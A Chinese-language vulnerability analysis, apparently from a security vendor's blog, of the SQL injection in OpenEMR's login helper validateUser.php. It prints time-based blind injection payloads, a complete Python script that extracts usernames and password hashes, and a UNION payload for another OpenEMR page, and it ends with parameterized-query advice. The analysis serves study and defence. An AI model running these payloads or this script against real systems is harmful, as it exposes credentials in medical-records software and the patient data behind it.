OpenEMR登录模块SQL注入分析
聚焦源代码安全,网罗国内外最新资讯!
OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR),是 ONC 认证的完整电子健康记录系统,具有完全集成的电子病历,处方书写、医疗帐单和临床决策等功能。它在100多个国家被使用,服务超过2亿病患,被公认为全球最受欢迎开源电子健康记录和医疗实践管理解决方案。
OpenEMR 4.1.0及之前版本内的interface/login/validateUser.php存在SQL注入漏洞,可允许远程攻击者通过u参数执行任意SQL命令,以获取数据库敏感信息或劫持用户会话。
validateUser.php如下:
<?php
$ignoreAuth=true;
include_once("../globals.php");
include_once("$srcdir/sql.inc");
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
$passlength = $authDB['passlength'];
$pw = $authDB['password'];
if ($passlength == 32)
{
echo "0";
}
else if($passlength == 40)
{
echo "1";
}
?>
validateUser.php 由 login.php的 jquery 函数进行调用,检查初始登录中用于密码的哈希算法。如果密码的长度为40,则使用 sha1;长度为32,则使用md5。其中:
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
内的 '$user' 属于可控的输入部分,可以通过 ' 使注入点闭合。
登录界面 login.php 如图所示:
login.php 内相关的密码验证代码段如下:
function chk_hash_fn()
{
var str = document.forms[0].authUser.value;
$.ajax({
url: "validateUser.php?u="+str,
context: document.body,
success: function(data){
if(data == 0)
{
document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value);
document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value);
}
else
{
document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value);
}
document.forms[0].clearPass.value='';
document.login_form.submit();
}
});
}
openEMR 数据库的 users 表部分内容如下:
id |
username |
password |
1 |
admin |
pass |
2 |
wang |
1qaz2wsx |
测试 validateUser.php?u=admin 返回1
尝试使用SELECT IF,通过服务器响应时间判定sql语句是否执行,从而试出username 个数。
编写注入语句:
http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27
如图所示,响应数秒后才生成页面,说明数据库响应了注入的SQL语句,并可判断 username 个数为2。
同理,可通过该方法枚举判断 user,password 长度并根据字符对应数据。
基本 payload:
validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'
编写 python 脚本以进行时间盲注;另外添加了本地代理以使用 burpsuite 进行监听。
import requests
import string
import sys
all = string.printable
url = "http://10.75.154.145/openemr/interface/login/validateUser.php?u="
proxy = {"http":"http://127.0.0.1:8082","https":"http://127.0.0.1:8082"}
def extract_users_num():
print("[+] Finding number of users...")
for n in range(1,100):
payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''
r = requests.get(url+payload,proxies=proxy)
if r.elapsed.total_seconds() > 3:
user_length = n
break
print("[+] Found number of users: " + str(user_length))
return user_length
def extract_users():
users = extract_users_num()
print("[+] Extracting username and password hash...")
output = []
for n in range(1,1000):
payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''
r = requests.get(url+payload,proxies=proxy)
if r.elapsed.total_seconds() > 3:
length = n
break
for i in range(1,length+1):
for char in all:
payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''
r = requests.get(url+payload,proxies=proxy)
print(r.request.url)
if r.elapsed.total_seconds() > 3:
output.append(char)
if char == ",":
print("")
continue
print(char, end='', flush=True)
try:
extract_users()
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()
使用 repeater 模块进行分析,执行语句:
SELECT IF((select count(username) from users)=2,sleep(3),1)
耗时 6027ms,说明 SELECT IF 的结果为 true,数据库响应了请求并进行等待。从而确定了 username 个数为2。
有人可能会提出疑问,明明使用的是 sleep(3),为什么实际上用时为6秒?
这是因为在运行时,
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
validateUser.php 会执行嵌套内层select执行一次 sleep(3) 后,外层的 select语句又会执行一次 sleep(3),因此共花费6秒。此处使用 phpMyAdmin 进行验证。
单独执行 SELECT IF 内语句时,查询花费仅为3秒。
脚本部分运行结果:
继续监听,判断出 username,password 的长度为92个字符。
burpsuite 监听到该数据包的 MIME Type 为文本,说明该字符的 ascii 码与数据库内的字符对应,且 “a” 的 ascii 码为97,说明 username,password 中第一个字符为a。
通过 repeater 模块进行复现,回显部分产生延时,说明成功对应到数据库中字符。
最终结果:
成功通过SQL注入获取到数据库中 username,password 内容。
另外,OpenEMR 的 add_edit_issue.php 也有SQL注入漏洞,攻击者可以使用浏览器来利用此漏洞,本文不再展开。
http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--
使用预处理语句(参数化查询),例如:
$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {
header("Location: /blog/"); exit;
}
$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);
SQL注入是一种非常常见的攻击手段,服务端没有对客户端的输入信息做过滤,使得信息被带入了数据库查询,从而暴露了数据库内的信息。未部署好防御工作的服务器,可以轻易地让攻击者获取数据库的后台管理员账号和密码,达到进一步渗透的目的,甚至造成整个数据库被"脱库”等。代码注入也长年保持在OWASP漏洞排名前十。因此建议用户使用一定的防御手段以及更加安全的扩展如 MySQLi、PDO MySQL 来防止 SQL 注入攻击。
1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2115
2. http://www.securityfocus.com/bid/51247
3. https://www.securityfocus.com/bid/50289
4. https://www.exploit-db.com/exploits/49742
5. http://www.mavitunasecurity.com/sql-injection-vulnerability-in-openemr/
6. https://www.netsparker.com/blog/web-security/sql-injection-vulnerability/
7. https://mp.weixin.qq.com/s/MGefIEp69VxMZ2at8UICJA
8. https://www.freebuf.com/vuls/267017.html
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~